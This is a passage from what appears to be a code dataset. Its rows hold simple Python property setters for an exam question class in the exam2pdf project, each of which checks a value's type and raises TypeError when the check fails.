raise TypeError(f'{text} in not a string')<|docstring|>Text is the question.<|endoftext|> |
353f7ac3d6e0a1046fde3b4380a1dc3aa965ba5e657e6a064edc6cadb6972084 | @image.setter
def image(self, file_path: Path) -> None:
'Image cha help or can be the question itself.\n '
if isinstance(file_path, Path):
self._image = file_path
else:
raise TypeError(f'{file_path} is not a Path') | Image cha help or can be the question itself. | exam2pdf/question.py | image | agossino/exam2pdf | 0 | python | @image.setter
def image(self, file_path: Path) -> None:
'\n '
if isinstance(file_path, Path):
self._image = file_path
else:
raise TypeError(f'{file_path} is not a Path') | @image.setter
def image(self, file_path: Path) -> None:
'\n '
if isinstance(file_path, Path):
self._image = file_path
else:
raise TypeError(f'{file_path} is not a Path')<|docstring|>Image cha help or can be the question itself.<|endoftext|> |
b62e6276b042260623c105cb135c14dd4bc9c584708d38b402c62169d21491c2 | @subject.setter
def subject(self, name: str) -> None:
'The subject of the question.\n '
if isinstance(name, str):
self._subject = name
else:
raise TypeError(f'{name} is not a string') | The subject of the question. | exam2pdf/question.py | subject | agossino/exam2pdf | 0 | python | @subject.setter
def subject(self, name: str) -> None:
'\n '
if isinstance(name, str):
self._subject = name
else:
raise TypeError(f'{name} is not a string') | @subject.setter
def subject(self, name: str) -> None:
'\n '
if isinstance(name, str):
self._subject = name
else:
raise TypeError(f'{name} is not a string')<|docstring|>The subject of the question.<|endoftext|> |
01547ab385cd6d809e68ccc2a32fd582d8e8f373891786c3f611f9660bac3023 | @level.setter
def level(self, value: int) -> None:
'The level of difficulty.\n '
if isinstance(value, int):
self._level = value
else:
raise TypeError(f'{value} is not an int') | The level of difficulty. | exam2pdf/question.py | level | agossino/exam2pdf | 0 | python | @level.setter
def level(self, value: int) -> None:
'\n '
if isinstance(value, int):
self._level = value
else:
raise TypeError(f'{value} is not an int') | @level.setter
def level(self, value: int) -> None:
'\n '
if isinstance(value, int):
self._level = value
else:
raise TypeError(f'{value} is not an int')<|docstring|>The level of difficulty.<|endoftext|> |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.